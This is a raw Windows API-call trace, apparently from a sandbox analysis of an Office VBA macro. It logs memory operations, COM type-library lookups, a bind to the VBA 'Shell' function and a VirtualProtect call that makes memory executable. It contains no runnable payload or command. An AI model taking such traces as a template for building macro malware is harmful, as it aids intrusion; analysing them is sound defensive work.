	[0053.802] IMalloc:Realloc (This=0x7feffc15380, pv=0xbe57eb0, cb=0x78) returned 0xbe57eb0
	[0053.802] IMalloc:Free (This=0x7feffc15380, pv=0xbeee590) 
	[0053.802] GetCurrentProcess () returned 0xffffffffffffffff
	[0053.802] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb820c91, dwSize=0x8) returned 1
	[0053.802] GetCurrentProcess () returned 0xffffffffffffffff
	[0053.802] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb820c90, dwSize=0x8) returned 1
	[0053.803] IMalloc:Realloc (This=0x7feffc15380, pv=0xba53f80, cb=0x100) returned 0xbc3ad60
	[0053.803] IMalloc:Alloc (This=0x7feffc15380, cb=0x38) returned 0xbd30340
	[0053.803] IMalloc:Realloc (This=0x7feffc15380, pv=0xbe18de0, cb=0x90) returned 0xbdedae0
	[0053.803] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2b3e, cbMultiByte=4, lpWideCharStr=0x27c110, cchWideChar=5 | out: lpWideCharStr="mmm") returned 4
	[0053.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="035dbe8945", cchWideChar=11, lpMultiByteStr=0x27bd20, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="035dbe8945", lpUsedDefaultChar=0x0) returned 11
	[0053.803] GetLocalTime (in: lpSystemTime=0x27be08 | out: lpSystemTime=0x27be08*(wYear=0x7e2, wMonth=0xb, wDayOfWeek=0x2, wDay=0x6, wHour=0x8, wMinute=0x1, wSecond=0xc, wMilliseconds=0x3a3)) 
	[0053.803] _ultow_s (in: _Value=0x5dbe8948, _Buffer=0xbc58c74, _BufferCount=0x9, _Radix=16 | out: _Buffer="5dbe8948") returned 0x0
	[0053.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="055dbe8948", cchWideChar=11, lpMultiByteStr=0x27bd60, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="055dbe8948", lpUsedDefaultChar=0x0) returned 11
	[0053.803] IMalloc:Realloc (This=0x7feffc15380, pv=0xba53ef0, cb=0x100) returned 0xbc3ae70
	[0053.803] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0x76f8450
	[0053.803] IMalloc:Realloc (This=0x7feffc15380, pv=0xbd02410, cb=0x1000) returned 0xb9ed080
	[0053.803] IMalloc:Free (This=0x7feffc15380, pv=0xb927270) 
	[0053.804] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x30) returned 0xbd2fac0
	[0053.804] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x69b0000
	[0053.805] IMalloc:Free (This=0x7feffc15380, pv=0xb927270) 
	[0053.805] IMalloc:Realloc (This=0x7feffc15380, pv=0xbc3ad60, cb=0x200) returned 0xbd61240
	[0053.805] IMalloc:Realloc (This=0x7feffc15380, pv=0xbacf0f0, cb=0x20) returned 0xc0bcae0
	[0053.805] IMalloc:Realloc (This=0x7feffc15380, pv=0xbacfa50, cb=0x28) returned 0xc0bd0e0
	[0053.806] IMalloc:Free (This=0x7feffc15380, pv=0xb927270) 
	[0053.807] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x412) returned 0xbe68a50
	[0053.807] strcpy_s (in: _Dst=0xb9a96c8, _DstSize=0x7, _Src="wFlags" | out: _Dst="wFlags") returned 0x0
	[0053.807] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x412) returned 0xbe68ea0
	[0053.807] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x412) returned 0xbe692f0
	[0053.807] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0x74ed850
	[0053.807] IMalloc:GetSize (This=0x7feffc15380, pv=0x74ed850) returned 0x26d
	[0053.807] IMalloc:GetSize (This=0x7feffc15380, pv=0x74ed850) returned 0x26d
	[0053.807] GetCurrentProcess () returned 0xffffffffffffffff
	[0053.807] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x74ed850, dwSize=0x7b) returned 1
	[0053.807] IMalloc:Free (This=0x7feffc15380, pv=0x74ed850) 
	[0053.808] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0x74ed850
	[0053.808] IMalloc:GetSize (This=0x7feffc15380, pv=0x74ed850) returned 0x26d
	[0053.808] GetCurrentProcess () returned 0xffffffffffffffff
	[0053.808] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x74ed850, dwSize=0x73) returned 1
	[0053.808] IMalloc:Free (This=0x7feffc15380, pv=0x74ed850) 
	[0053.808] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0x76f88f0
	[0053.809] IMalloc:Realloc (This=0x7feffc15380, pv=0xb791d30, cb=0x40) returned 0xc00ed90
	[0053.809] IMalloc:Realloc (This=0x7feffc15380, pv=0xb791d60, cb=0x50) returned 0xbeedf90
	[0053.809] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x10) returned 0xb710d70
	[0053.810] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x412) returned 0xbe69740
	[0053.810] IMalloc:Alloc (This=0x7feffc15380, cb=0x788) returned 0xbbea180
	[0053.810] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2b8e, cbMultiByte=6, lpWideCharStr=0x27c110, cchWideChar=7 | out: lpWideCharStr="dabsa") returned 6
	[0053.810] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2b8e, cbMultiByte=6, lpWideCharStr=0x27c150, cchWideChar=7 | out: lpWideCharStr="dabsa") returned 6
	[0053.810] ITypeComp:RemoteBind (in: This=0xb9fd080, szName="dabsa", lHashVal=0x10d3e7, wFlags=0x5, ppTInfo=0x27c108, pDescKind=0x27c11c, ppFuncDesc=0x27c120, ppVarDesc=0xbb1f7f0, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x27c108*=0x0, pDescKind=0x27c11c*=0, ppFuncDesc=0x27c120, ppVarDesc=0xbb1f7f0, ppTypeComp=0x0, pDummy=0x0) returned 0x0
	[0053.810] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2b8e, cbMultiByte=6, lpWideCharStr=0x27c150, cchWideChar=7 | out: lpWideCharStr="dabsa") returned 6
	[0053.810] ITypeComp:RemoteBind (in: This=0xb9fc270, szName="dabsa", lHashVal=0x10d3e7, wFlags=0x5, ppTInfo=0x27c108, pDescKind=0x27c11c, ppFuncDesc=0x27c120, ppVarDesc=0xbb1f7f0, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x27c108*=0x0, pDescKind=0x27c11c*=0, ppFuncDesc=0x27c120, ppVarDesc=0xbb1f7f0, ppTypeComp=0x0, pDummy=0x0) returned 0x0
	[0053.811] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2b8e, cbMultiByte=6, lpWideCharStr=0x27c150, cchWideChar=7 | out: lpWideCharStr="dabsa") returned 6
	[0053.811] ITypeComp:RemoteBind (in: This=0xb9fd620, szName="dabsa", lHashVal=0x10d3e7, wFlags=0x5, ppTInfo=0x27c108, pDescKind=0x27c11c, ppFuncDesc=0x27c120, ppVarDesc=0xbb1f7f0, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x27c108*=0x0, pDescKind=0x27c11c*=0, ppFuncDesc=0x27c120, ppVarDesc=0xbb1f7f0, ppTypeComp=0x0, pDummy=0x0) returned 0x0
	[0053.811] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2b8e, cbMultiByte=6, lpWideCharStr=0x27c150, cchWideChar=7 | out: lpWideCharStr="dabsa") returned 6
	[0053.811] ITypeComp:RemoteBind (in: This=0xb9fdbc0, szName="dabsa", lHashVal=0x10d3e7, wFlags=0x5, ppTInfo=0x27c108, pDescKind=0x27c11c, ppFuncDesc=0x27c120, ppVarDesc=0xbb1f7f0, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x27c108*=0x0, pDescKind=0x27c11c*=0, ppFuncDesc=0x27c120, ppVarDesc=0xbb1f7f0, ppTypeComp=0x0, pDummy=0x0) returned 0x0
	[0053.811] IMalloc:Alloc (This=0x7feffc15380, cb=0xd) returned 0xb710c10
	[0053.811] _mbscpy_s (in: _Dst=0xb710c10, _DstSizeInBytes=0x6, _Src=0x57b2b8e | out: _Dst=0xb710c10) returned 0x0
	[0053.811] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_dabsa") returned 0x1097d4
	[0053.811] strcpy_s (in: _Dst=0x27c260, _DstSize=0xd, _Src="_B_var_dabsa" | out: _Dst="_B_var_dabsa") returned 0x0
	[0053.811] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x27c260, cbMultiByte=13, lpWideCharStr=0x27c0b0, cchWideChar=13 | out: lpWideCharStr="_B_var_dabsa") returned 13
	[0053.811] IUnknown:AddRef (This=0xb9fd070) returned 0x5
	[0053.811] ITypeLib:RemoteIsName (in: This=0xb9fd070, szNameBuf="_B_var_dabsa", lHashVal=0x1097d4, pfName=0x27c180, pBstrLibName=0x27c0b0 | out: pfName=0x27c180*=0, pBstrLibName=0x27c0b0) returned 0x0
	[0053.811] IUnknown:Release (This=0xb9fd070) returned 0x4
	[0053.811] IUnknown:AddRef (This=0xb9fc260) returned 0x11
	[0053.811] ITypeLib:RemoteIsName (in: This=0xb9fc260, szNameBuf="_B_var_dabsa", lHashVal=0x1097d4, pfName=0x27c180, pBstrLibName=0x27c0b0 | out: pfName=0x27c180*=0, pBstrLibName=0x27c0b0) returned 0x0
	[0053.811] IUnknown:Release (This=0xb9fc260) returned 0x10
	[0053.811] IUnknown:AddRef (This=0xb9fd610) returned 0x6
	[0053.811] ITypeLib:RemoteIsName (in: This=0xb9fd610, szNameBuf="_B_var_dabsa", lHashVal=0x1097d4, pfName=0x27c180, pBstrLibName=0x27c0b0 | out: pfName=0x27c180*=0, pBstrLibName=0x27c0b0) returned 0x0
	[0053.811] IUnknown:Release (This=0xb9fd610) returned 0x5
	[0053.811] IUnknown:AddRef (This=0xb9fdbb0) returned 0x4
	[0053.811] ITypeLib:RemoteIsName (in: This=0xb9fdbb0, szNameBuf="_B_var_dabsa", lHashVal=0x1097d4, pfName=0x27c180, pBstrLibName=0x27c0b0 | out: pfName=0x27c180*=0, pBstrLibName=0x27c0b0) returned 0x0
	[0053.811] IUnknown:Release (This=0xb9fdbb0) returned 0x3
	[0053.811] IUnknown:AddRef (This=0xb9fd070) returned 0x5
	[0053.811] IUnknown:Release (This=0xb9fd070) returned 0x4
	[0053.811] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x68503ea, cbMultiByte=13, lpWideCharStr=0x27c110, cchWideChar=14 | out: lpWideCharStr="_B_var_dabsa") returned 13
	[0053.811] ITypeComp:RemoteBind (in: This=0xb9fd080, szName="_B_var_dabsa", lHashVal=0x1097d4, wFlags=0x5, ppTInfo=0x27c0c8, pDescKind=0x27c0dc, ppFuncDesc=0x27c0e0, ppVarDesc=0x64005f00720061, ppTypeComp=0x61007300000000, pDummy=0x0 | out: ppTInfo=0x27c0c8*=0x0, pDescKind=0x27c0dc*=0, ppFuncDesc=0x27c0e0, ppVarDesc=0x64005f00720061, ppTypeComp=0x61007300000000, pDummy=0x0) returned 0x0
	[0053.812] IMalloc:Realloc (This=0x7feffc15380, pv=0xbd61240, cb=0x400) returned 0xc217230
	[0053.812] _mbscpy_s (in: _Dst=0x27c2d0, _DstSizeInBytes=0x6, _Src=0x57b2b8e | out: _Dst=0x27c2d0) returned 0x0
	[0053.812] IMalloc:Realloc (This=0x7feffc15380, pv=0xbd01c00, cb=0x1000) returned 0xb9e6010
	[0053.812] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2bb6, cbMultiByte=6, lpWideCharStr=0x27c110, cchWideChar=7 | out: lpWideCharStr="Shell") returned 6
	[0053.812] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2bb6, cbMultiByte=6, lpWideCharStr=0x27c150, cchWideChar=7 | out: lpWideCharStr="Shell") returned 6
	[0053.812] ITypeComp:RemoteBind (in: This=0xb9fd080, szName="Shell", lHashVal=0x10d756, wFlags=0x1, ppTInfo=0x27c108, pDescKind=0x27c11c, ppFuncDesc=0x27c120, ppVarDesc=0xbb1f7f0, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x27c108*=0xbb43508, pDescKind=0x27c11c*=1, ppFuncDesc=0x27c120, ppVarDesc=0xbb1f7f0, ppTypeComp=0x0, pDummy=0x0) returned 0x0
	[0053.812] ITypeInfo:RemoteGetTypeAttr (in: This=0xbb43508, ppTypeAttr=0x27c110, pDummy=0x1 | out: ppTypeAttr=0x27c110, pDummy=0x1) returned 0x0
	[0053.812] ITypeInfo:LocalReleaseTypeAttr (This=0xbb43508) returned 0x0
	[0053.813] ITypeInfo:GetRefTypeInfo (in: This=0xbb43508, hreftype=0x400, ppTInfo=0x27be48 | out: ppTInfo=0x27be48*=0xbb43560) returned 0x0
	[0053.813] IUnknown:QueryInterface (in: This=0xbb43560, riid=0x7fee6110b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27c018 | out: ppvObject=0x27c018*=0x0) returned 0x80004002
	[0053.813] ITypeInfo:RemoteGetTypeAttr (in: This=0xbb43560, ppTypeAttr=0x27be98, pDummy=0x10 | out: ppTypeAttr=0x27be98, pDummy=0x10) returned 0x0
	[0053.813] ITypeInfo:LocalReleaseTypeAttr (This=0xbb43560) returned 0x0
	[0053.813] IMalloc:Realloc (This=0x7feffc15380, pv=0xbfa4920, cb=0x20) returned 0xb791d60
	[0053.813] IMalloc:Realloc (This=0x7feffc15380, pv=0xbfa48f0, cb=0x28) returned 0xb791d30
	[0053.813] IUnknown:QueryInterface (in: This=0xbb43560, riid=0x7fee6105af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27bba0 | out: ppvObject=0x27bba0*=0x0) returned 0x80004002
	[0053.813] IUnknown:QueryInterface (in: This=0xbb43560, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27bb90 | out: ppvObject=0x27bb90*=0x0) returned 0x80004002
	[0053.813] IUnknown:QueryInterface (in: This=0xbb43560, riid=0x7fee6110b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27bb98 | out: ppvObject=0x27bb98*=0x0) returned 0x80004002
	[0053.813] ITypeInfo:RemoteGetTypeAttr (in: This=0xbb43560, ppTypeAttr=0x27bbc8, pDummy=0x10 | out: ppTypeAttr=0x27bbc8, pDummy=0x10) returned 0x0
	[0053.813] ITypeInfo:LocalReleaseTypeAttr (This=0xbb43560) returned 0x0
	[0053.813] IUnknown:AddRef (This=0xbb43560) returned 0x2
	[0053.813] IUnknown:QueryInterface (in: This=0xbb43560, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27bd40 | out: ppvObject=0x27bd40*=0x0) returned 0x80004002
	[0053.813] IUnknown:QueryInterface (in: This=0xbb43560, riid=0x7fee6110b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27bd38 | out: ppvObject=0x27bd38*=0x0) returned 0x80004002
	[0053.813] IUnknown:Release (This=0xbb43560) returned 0x1
	[0053.813] IMalloc:Realloc (This=0x7feffc15380, pv=0xbe1a190, cb=0x100) returned 0xbc3ad60
	[0053.813] IUnknown:QueryInterface (in: This=0xbb43508, riid=0x7fee61040f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x27beb0 | out: ppvObject=0x27beb0*=0xbb43508) returned 0x0
	[0053.813] ITypeInfo2:GetFuncIndexOfMemId (in: This=0xbb43508, memid=1610612745, invkind=1, pFuncIndex=0x27bea8 | out: pFuncIndex=0x27bea8*=0x9) returned 0x0
	[0053.813] ITypeInfo2:GetParamCustData (in: This=0xbb43508, indexFunc=0x9, indexParam=0x1, GUID=0x7fee6114e80*(Data1=0x270d72b0, Data2=0xffb8, Data3=0x11cf, Data4=([0]=0xa4, [1]=0xbd, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xf, [6]=0x26, [7]=0xee)), pVarVal=0x27beb8 | out: pVarVal=0x27beb8*(varType=0x0, wReserved1=0xbc3, wReserved2=0x0, wReserved3=0x0, varVal1=0xbc59920, varVal2=0x27cbc8)) returned 0x0
	[0053.813] IUnknown:Release (This=0xbb43508) returned 0x1
	[0053.813] IUnknown:QueryInterface (in: This=0xbb43508, riid=0x7fee61040f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x27bf70 | out: ppvObject=0x27bf70*=0xbb43508) returned 0x0
	[0053.813] ITypeInfo2:GetFuncIndexOfMemId (in: This=0xbb43508, memid=1610612745, invkind=1, pFuncIndex=0x27bfb0 | out: pFuncIndex=0x27bfb0*=0x9) returned 0x0
	[0053.813] ITypeInfo2:GetFuncCustData (in: This=0xbb43508, index=0x9, GUID=0x7fee6113758*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0x27bfc8 | out: pVarVal=0x27bfc8*(varType=0x0, wReserved1=0x27, wReserved2=0x0, wReserved3=0x0, varVal1=0x9, varVal2=0x10d756)) returned 0x0
	[0053.813] IUnknown:Release (This=0xbb43508) returned 0x1
	[0053.813] IUnknown:AddRef (This=0xbb43560) returned 0x2
	[0053.813] IUnknown:QueryInterface (in: This=0xbb43560, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27be68 | out: ppvObject=0x27be68*=0x0) returned 0x80004002
	[0053.813] IUnknown:QueryInterface (in: This=0xbb43560, riid=0x7fee6110b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27bf28 | out: ppvObject=0x27bf28*=0x0) returned 0x80004002
	[0053.814] IUnknown:QueryInterface (in: This=0xbb43560, riid=0x7fee6112aa8*(Data1=0xcacc1e89, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27be00 | out: ppvObject=0x27be00*=0x0) returned 0x80004002
	[0053.814] IUnknown:Release (This=0xbb43560) returned 0x1
	[0053.814] IUnknown:AddRef (This=0xbb43508) returned 0x2
	[0053.814] ITypeInfo:LocalReleaseFuncDesc (This=0xbb43508) returned 0x0
	[0053.814] IUnknown:Release (This=0xbb43508) returned 0x1
	[0053.814] IUnknown:QueryInterface (in: This=0xbb43508, riid=0x7fee6105af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27c238 | out: ppvObject=0x27c238*=0x0) returned 0x80004002
	[0053.814] IUnknown:AddRef (This=0xbb43508) returned 0x2
	[0053.814] IUnknown:QueryInterface (in: This=0xbb43508, riid=0x7fee6105af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27c1c0 | out: ppvObject=0x27c1c0*=0x0) returned 0x80004002
	[0053.814] IUnknown:QueryInterface (in: This=0xbb43508, riid=0x7fee6105af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27c190 | out: ppvObject=0x27c190*=0x0) returned 0x80004002
	[0053.814] IUnknown:QueryInterface (in: This=0xbb43508, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27c180 | out: ppvObject=0x27c180*=0x0) returned 0x80004002
	[0053.814] IUnknown:QueryInterface (in: This=0xbb43508, riid=0x7fee6110b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27c188 | out: ppvObject=0x27c188*=0x0) returned 0x80004002
	[0053.814] ITypeInfo:RemoteGetTypeAttr (in: This=0xbb43508, ppTypeAttr=0x27c1b8, pDummy=0x10 | out: ppTypeAttr=0x27c1b8, pDummy=0x10) returned 0x0
	[0053.814] ITypeInfo:LocalReleaseTypeAttr (This=0xbb43508) returned 0x0
	[0053.814] IUnknown:AddRef (This=0xbb43508) returned 0x3
	[0053.814] IUnknown:Release (This=0xbb43508) returned 0x2
	[0053.814] IUnknown:QueryInterface (in: This=0xbb43508, riid=0x7fee6105af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27c3a8 | out: ppvObject=0x27c3a8*=0x0) returned 0x80004002
	[0053.814] IUnknown:QueryInterface (in: This=0xbb43508, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27c3a0 | out: ppvObject=0x27c3a0*=0x0) returned 0x80004002
	[0053.814] ITypeInfo:RemoteGetContainingTypeLib (in: This=0xbb43508, ppTLib=0x27bbe0, pIndex=0x0 | out: ppTLib=0x27bbe0*=0xb9fd070, pIndex=0x0) returned 0x0
	[0053.814] ITypeLib:RemoteGetLibAttr (in: This=0xb9fd070, ppTLibAttr=0x27bbf0, pDummy=0x0 | out: ppTLibAttr=0x27bbf0, pDummy=0x0) returned 0x0
	[0053.814] ITypeLib:LocalReleaseTLibAttr (This=0xb9fd070) returned 0x0
	[0053.814] IUnknown:Release (This=0xb9fd070) returned 0x7
	[0053.814] ITypeInfo:RemoteGetDllEntry (in: This=0xbb43508, memid=1610612745, invkind=1, refPtrFlags=0x27bbe0, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x50894b0 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x50894b0*=0x5380) returned 0x0
	[0053.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee613d830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9
	[0053.814] strcpy_s (in: _Dst=0x76f72e8, _DstSize=0x9, _Src="VBE7.DLL" | out: _Dst="VBE7.DLL") returned 0x0
	[0053.814] ITypeInfo:RemoteGetDllEntry (in: This=0xbb43508, memid=1610612745, invkind=1, refPtrFlags=0x0, pBstrDllName=0x27bbe0, pbstrName=0x0, pwOrdinal=0x27bc00 | out: pBstrDllName=0x27bbe0*=0x0, pbstrName=0x0, pwOrdinal=0x27bc00*=0xbe70) returned 0x0
	[0053.814] ITypeInfo:RemoteGetDllEntry (in: This=0xbb43508, memid=1610612745, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x27bbe0, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x27bbe0, pwOrdinal=0x500000000) returned 0x0
	[0053.814] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0x74ed850
	[0053.814] IMalloc:GetSize (This=0x7feffc15380, pv=0x74ed850) returned 0x26d
	[0053.814] IMalloc:GetSize (This=0x7feffc15380, pv=0x74ed850) returned 0x26d
	[0053.814] GetCurrentProcess () returned 0xffffffffffffffff
	[0053.814] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x74ed850, dwSize=0x43) returned 1
	[0053.814] IMalloc:Free (This=0x7feffc15380, pv=0x74ed850) 
	[0053.815] ITypeInfo:RemoteGetContainingTypeLib (in: This=0xbb43508, ppTLib=0x27bf10, pIndex=0x0 | out: ppTLib=0x27bf10*=0xb9fd070, pIndex=0x0) returned 0x0
	[0053.815] ITypeLib:RemoteGetLibAttr (in: This=0xb9fd070, ppTLibAttr=0x27bf20, pDummy=0x0 | out: ppTLibAttr=0x27bf20, pDummy=0x0) returned 0x0
	[0053.815] ITypeLib:LocalReleaseTLibAttr (This=0xb9fd070) returned 0x0
	[0053.815] IUnknown:Release (This=0xb9fd070) returned 0x7
	[0053.815] ITypeInfo:RemoteGetDllEntry (in: This=0xbb43508, memid=1610612745, invkind=1, refPtrFlags=0x27bf10, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x50894b0 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x50894b0*=0x5380) returned 0x0
	[0053.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee613d830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9
	[0053.815] ITypeInfo:RemoteGetDllEntry (in: This=0xbb43508, memid=1610612745, invkind=1, refPtrFlags=0x0, pBstrDllName=0x27bf10, pbstrName=0x0, pwOrdinal=0x27bf30 | out: pBstrDllName=0x27bf10*=0x0, pbstrName=0x0, pwOrdinal=0x27bf30*=0xc1a0) returned 0x0
	[0053.815] ITypeInfo:RemoteGetDllEntry (in: This=0xbb43508, memid=1610612745, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x27bf10, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x27bf10, pwOrdinal=0x500000000) returned 0x0
	[0053.815] IMalloc:Realloc (This=0x7feffc15380, pv=0xbe57f40, cb=0x150) returned 0xbe57f40
	[0053.815] IMalloc:Free (This=0x7feffc15380, pv=0xbeee5f0) 
	[0053.815] GetCurrentProcess () returned 0xffffffffffffffff
	[0053.815] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x4d22999, dwSize=0x8) returned 1
	[0053.815] GetCurrentProcess () returned 0xffffffffffffffff
	[0053.815] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x4d22998, dwSize=0x8) returned 1
	[0053.816] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1
	[0053.816] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5d60000
	[0053.816] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10018cf300000c07) returned 1
	[0053.816] SetErrorMode (uMode=0x8001) returned 0x8001
	[0053.817] GetProcAddress (hModule=0x7fee5d60000, lpProcName=0x258) returned 0x7fee5e64ee0
	[0053.817] GetCurrentProcess () returned 0xffffffffffffffff
	[0053.817] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x76f735c, dwSize=0x43) returned 1
	[0053.817] RtlLookupFunctionEntry (in: ControlPc=0x76f735c, ImageBase=0x27c1b8, HistoryTable=0x27c1c0 | out: ImageBase=0x27c1b8, HistoryTable=0x27c1c0) returned 0x0
	[0053.817] VirtualProtect (in: lpAddress=0x76f735c, dwSize=0x44, flNewProtect=0x40, lpflOldProtect=0x27c2bc | out: lpflOldProtect=0x27c2bc*=0x4) returned 1
